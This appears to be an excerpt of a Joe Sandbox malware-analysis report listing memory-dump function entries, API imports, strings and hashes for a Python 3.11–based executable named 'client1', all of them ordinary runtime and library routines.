Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: de2209737f62c3ef05340c1457763ccac6bfd4de9bf3f87891e85fc6fda23dbb
Instruction ID: 54e04fc50cd6634a31d28a0e04e6114a808eb9d4249d7a0ded5da86cd2ab78ff
Opcode Fuzzy Hash: de2209737f62c3ef05340c1457763ccac6bfd4de9bf3f87891e85fc6fda23dbb
Instruction Fuzzy Hash: 9E113B28E0D3C242FA747B315A811FAE25B5F55BB0F844734D83E17AD6DEADB402A630

Function 00007FFBAA6F30C0 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FFBAA6F30F6
strchr.VCRUNTIME140 ref: 00007FFBAA6F3110
strchr.VCRUNTIME140 ref: 00007FFBAA6F3133

Strings

z, xrefs: 00007FFBAA6F3146
+- , xrefs: 00007FFBAA6F312C
<>=^, xrefs: 00007FFBAA6F30EF, 00007FFBAA6F3109

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: strchr
String ID: +- $<>=^$z
API String ID: 2830005266-2919174415
Opcode ID: d3f128c2def1c522b420359bfec4aefe832e3c5070af67f1566c0b2452d1659d
Instruction ID: d0921964fb3e0dec5693086098d5dc3ca97bff2266a8badc61aa6a5e5fb4038d
Opcode Fuzzy Hash: d3f128c2def1c522b420359bfec4aefe832e3c5070af67f1566c0b2452d1659d
Instruction Fuzzy Hash: D2119391B0F952C0FE16CF24D94027D7AA8AB45F44F4860B6CE6D02664CF2CE05BCB20

Function 00007FFBAA6FFD10 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

PyMem_Free.PYTHON311 ref: 00007FFBAA6FFE02
PyMem_Free.PYTHON311 ref: 00007FFBAA6FFE17
PyMem_Free.PYTHON311 ref: 00007FFBAA7143C6
PyMem_Free.PYTHON311 ref: 00007FFBAA7143DB

Strings

0, xrefs: 00007FFBAA6FFD58

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: FreeMem_
String ID: 0
API String ID: 4096353137-4108050209
Opcode ID: c5c8307c3cb33d4391b134a0639fa64f4c831d89a86ee65978a0350792aa4ed5
Instruction ID: 59940dd843a1bd9e1d6bab528f45c79acf62c529078faf766cc94d95ff34b9cf
Opcode Fuzzy Hash: c5c8307c3cb33d4391b134a0639fa64f4c831d89a86ee65978a0350792aa4ed5
Instruction Fuzzy Hash: D8A1E2E2B1E342C1FE224F38D40537E2695EB59B90F105972CD5F06BD9DE6CE08B4A21

Function 00007FFBAA70CB6C Relevance: 8.9, APIs: 7, Instructions: 193COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000000,00000000,00000000,?,?,00000000,00007FFBAA70CA90,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA70CC02
memmove.VCRUNTIME140(?,?,00000000,00000000,00000000,?,?,00000000,00007FFBAA70CA90,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA70CC2D
memset.VCRUNTIME140(?,?,00000000,00000000,00000000,?,?,00000000,00007FFBAA70CA90,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA70CCB6
memset.VCRUNTIME140(?,?,00000000,00000000,00000000,?,?,00000000,00007FFBAA70CA90,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA70CD3F

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: 8a6dc82ef5a93ce2ecb99fe39f02b221e9f70e8a691fc071edbf52bf3e6204c6
Instruction ID: bf409db27195eba7315b78960a82bb7326a0ba518b202e3189625a515b2e899b
Opcode Fuzzy Hash: 8a6dc82ef5a93ce2ecb99fe39f02b221e9f70e8a691fc071edbf52bf3e6204c6
Instruction Fuzzy Hash: CA71B2A6B55A8091DA11DF66E8002EBB759FB85FE4F444232DEAC1B7D6CE3CD106C314

Function 00007FFBAA717FEC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 193COMMON

Download Yara Rule

APIs

PyMem_Free.PYTHON311 ref: 00007FFBAA718291
PyMem_Free.PYTHON311 ref: 00007FFBAA7182A2
PyMem_Free.PYTHON311 ref: 00007FFBAA7182B5
PyMem_Free.PYTHON311 ref: 00007FFBAA7182C8

Strings

0, xrefs: 00007FFBAA7180B2

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: FreeMem_
String ID: 0
API String ID: 4096353137-4108050209
Opcode ID: ee32b34d6fc8a14934b56d76bb17223b7b4a547d43165699dc28cafdf4a0c713
Instruction ID: a8541f347205c1c9f8d5d3a2033b80886fd8aff9291073e97cbd2c8d7ff8c6d7
Opcode Fuzzy Hash: ee32b34d6fc8a14934b56d76bb17223b7b4a547d43165699dc28cafdf4a0c713
Instruction Fuzzy Hash: FD918CB2A19B85C9E7118F74E8406ED7BB8FB45798F501266EE8D13B69CF38C146C740

Function 00007FF79F62C8A8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF79F62C8D3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF79F62C968
RtlUnwindEx.KERNEL32 ref: 00007FF79F62C9B7

Strings

f, xrefs: 00007FF79F62C8E6
csm, xrefs: 00007FF79F62C94E

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 42fbbb83cedbe148bfcc1de87ea3e914151e174f0a46670c6939306692d2d31c
Instruction ID: 8982f06502d7dfab5b13709e126607f1b10cb27aac9b01bbc65d27bf8337a259
Opcode Fuzzy Hash: 42fbbb83cedbe148bfcc1de87ea3e914151e174f0a46670c6939306692d2d31c
Instruction Fuzzy Hash: C251C932B0578286D724EB35E8046E9B77AFB44BA4F908130DE6A87789DF38E941C751

Function 00007FFBAB4A08C0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 90COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON311 ref: 00007FFBAB4A0957

Strings

float, xrefs: 00007FFBAB4A0976
str, xrefs: 00007FFBAB4A09F1
bool, xrefs: 00007FFBAB4A09BF
mess_ratio, xrefs: 00007FFBAB4A0A04

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: SubtypeType_
String ID: bool$float$mess_ratio$str
API String ID: 2891779845-3758540285
Opcode ID: 47fda406b1bb7d020c45dd9310fa2455a273a1e29fc7599b418df2cb59763824
Instruction ID: a11a57f9430909525fead5400b2fad9de55c7060321fcdc8f0929c2d22d14d29
Opcode Fuzzy Hash: 47fda406b1bb7d020c45dd9310fa2455a273a1e29fc7599b418df2cb59763824
Instruction Fuzzy Hash: 6F3142A2B0D64185FA519B36F4811BA67A5FB94BC4F588036EEAC47B79CF2CD4918B00

Function 00007FF79F622240 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF79F62242F), ref: 00007FF79F622278
DialogBoxIndirectParamW.USER32 ref: 00007FF79F62233C
DeleteObject.GDI32 ref: 00007FF79F62236F
DestroyIcon.USER32 ref: 00007FF79F622381

Strings

Unhandled exception in script, xrefs: 00007FF79F6222A8

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: fcf731bf2ceca6e070dbdbaa780c49a73cf052ed135755c936a54f607c2ce467
Instruction ID: 75cbf9dd7fa8ae9d9d2df12f7b1f021d5dba8617397ec20490fe5290584012cd
Opcode Fuzzy Hash: fcf731bf2ceca6e070dbdbaa780c49a73cf052ed135755c936a54f607c2ce467
Instruction Fuzzy Hash: D3316B32A08BC289EB20FF71E8451E9A36AFF88794F800135EA5D8BA55DF7CD145C711

Function 00007FF79F622620 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79F627744,?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F622654

Part of subcall function 00007FF79F6274B0: GetLastError.KERNEL32(00000000,00007FF79F6226A0), ref: 00007FF79F6274D7
Part of subcall function 00007FF79F6274B0: FormatMessageW.KERNEL32(00000000,00007FF79F6226A0), ref: 00007FF79F627506

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

MessageBoxW.USER32 ref: 00007FF79F62272C
MessageBoxA.USER32 ref: 00007FF79F622748

Strings

Fatal error detected, xrefs: 00007FF79F622700, 00007FF79F62273A
%s%s: %s, xrefs: 00007FF79F6226AD

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: bd2085b38ade222d48c53e4b242a54a19eedc60d0d0276a39b8304b5fd6b5430
Instruction ID: 427f49a35eef2caea9a4960fb05762d764c75c52f36becf58bf441f8cbd09b05
Opcode Fuzzy Hash: bd2085b38ade222d48c53e4b242a54a19eedc60d0d0276a39b8304b5fd6b5430
Instruction Fuzzy Hash: 8631747262C7C291E630BB20E8517DAA36AFB84794FC04036E69D43A99DF3CD305CB50

Function 00007FFBAA70630C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA70634E
PyErr_SetString.PYTHON311 ref: 00007FFBAA7063F7

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA706408
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7153DB

Strings

optional argument must be a context, xrefs: 00007FFBAA7063ED

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: optional argument must be a context
API String ID: 3219279049-3732962867
Opcode ID: f16d0d432f3dca6f6defb90f8218ed74a796cf603d5bb32d81ff3fe8792b9dfa
Instruction ID: 9eaee9ab90eae7f2d7d00d3f3285ae082073b19b394d3aee1f7570787cc3aad9
Opcode Fuzzy Hash: f16d0d432f3dca6f6defb90f8218ed74a796cf603d5bb32d81ff3fe8792b9dfa
Instruction Fuzzy Hash: DD3161E1A1AB42D1EA029F35E8604BBA7ACFF84B84F400072ED4D56664EF7CE517C760

Function 00007FFBAA70738C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA7073CE
PyErr_SetString.PYTHON311 ref: 00007FFBAA707477

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA707488
_Py_Dealloc.PYTHON311 ref: 00007FFBAA715569

Strings

optional argument must be a context, xrefs: 00007FFBAA70746D

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: optional argument must be a context
API String ID: 3219279049-3732962867
Opcode ID: 325bdc1bfbd24b0aa6885739e4fe1c449e17a21c9166ede34ebef7ef6c7cda81
Instruction ID: 4b8790e4759c736f3210302d366465f4e982971b1715f3571410eaa05b78caf9
Opcode Fuzzy Hash: 325bdc1bfbd24b0aa6885739e4fe1c449e17a21c9166ede34ebef7ef6c7cda81
Instruction Fuzzy Hash: E1317FA1A1AA07D1EA43CF35E8500BB2BA8FF84B85F5410B2ED4D56664DF3CE547C760

Function 00007FFBAA706B7C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA706BBE
PyErr_SetString.PYTHON311 ref: 00007FFBAA706C67

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA706C78
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7154F3

Strings

optional argument must be a context, xrefs: 00007FFBAA706C5D

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: optional argument must be a context
API String ID: 3219279049-3732962867
Opcode ID: b87bf45db5cbbb77e46f46baf3e26d3246d4270b7567b8a677a967c2b1a6beba
Instruction ID: 05e6df3cd439f1fbcc7ad51e1d0bcc119f8f0dca5d4f280212552e587d436717
Opcode Fuzzy Hash: b87bf45db5cbbb77e46f46baf3e26d3246d4270b7567b8a677a967c2b1a6beba
Instruction Fuzzy Hash: BF3141E2A1AA02D1EA02CF35E8604BB77A8FF44B84F4000B2DD4E16664DE7CF417C760

Function 00007FFBAA707494 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA7074D6
PyErr_SetString.PYTHON311 ref: 00007FFBAA70757F

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA707590
_Py_Dealloc.PYTHON311 ref: 00007FFBAA715579

Strings

optional argument must be a context, xrefs: 00007FFBAA707575

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: optional argument must be a context
API String ID: 3219279049-3732962867
Opcode ID: 9d28fdf502c7bf5f3b9c25fda11e0e8947d734ec0ff6c2d04238c1a76da5e97b
Instruction ID: b89ce73f0cb433f19d07b5ee88ff2be695b29fe0fa5c82ea32c88bed681f4000
Opcode Fuzzy Hash: 9d28fdf502c7bf5f3b9c25fda11e0e8947d734ec0ff6c2d04238c1a76da5e97b
Instruction Fuzzy Hash: 7C3173A1A1EA03D1EA428F35E8504BB27E8FF44B85F404072ED4D56664EF3CE507C760

Function 00007FFBAA70D148 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAA70D200: PyList_New.PYTHON311(?,?,?,00007FFBAA70D162), ref: 00007FFBAA70D213

Part of subcall function 00007FFBAA70D200: PyList_Append.PYTHON311(?,?,?,00007FFBAA70D162), ref: 00007FFBAA70D25B
Part of subcall function 00007FFBAA70D200: _Py_Dealloc.PYTHON311(?,?,?,00007FFBAA70D162), ref: 00007FFBAA7164E3

Py_BuildValue.PYTHON311 ref: 00007FFBAA70D1CA
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7164AB
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7164BA
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7164C9

Strings

O(nsnniiOO), xrefs: 00007FFBAA70D1A1

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$List_$AppendBuildValue
String ID: O(nsnniiOO)
API String ID: 2314222879-2972526296
Opcode ID: f5e8065be6b474f415ee3734e356844b7f2e6e7d296775243b8998d91164957b
Instruction ID: 5a6ceb9e89e257dd1daf08306c29c2e792d962c1a6cab94a254039a2f6145699
Opcode Fuzzy Hash: f5e8065be6b474f415ee3734e356844b7f2e6e7d296775243b8998d91164957b
Instruction Fuzzy Hash: FD212A72A0AB42C6E662CF35E85007A77A8FB49B90B044076DF8E53B65DF3CE542C710

Function 00007FFBAB4A1925 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A1928
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A19CE
PyObject_SetAttr.PYTHON311 ref: 00007FFBAB4A19E5
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A19F6

Strings

<module>, xrefs: 00007FFBAB4A1A07

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 9274028e41249feebb29f65d6b7a4e23cc81f2c444255d04cf0645aa06cc539f
Instruction ID: bb8411e4beb521b5ac400767b6604a8c886982367ca2a973089c1286c4e2d336
Opcode Fuzzy Hash: 9274028e41249feebb29f65d6b7a4e23cc81f2c444255d04cf0645aa06cc539f
Instruction Fuzzy Hash: C92193E6A0BF0290EA169B66F9906B863A4BF49BD0F44813EDD6D43370DF3CA465C341

Function 00007FFBAA6FCCF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

PyErr_SetObject.PYTHON311(?,?,?,?,00007FFBAA6F1159), ref: 00007FFBAA6FCD57

Strings

internal error in flags_as_exception, xrefs: 00007FFBAA71338E

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
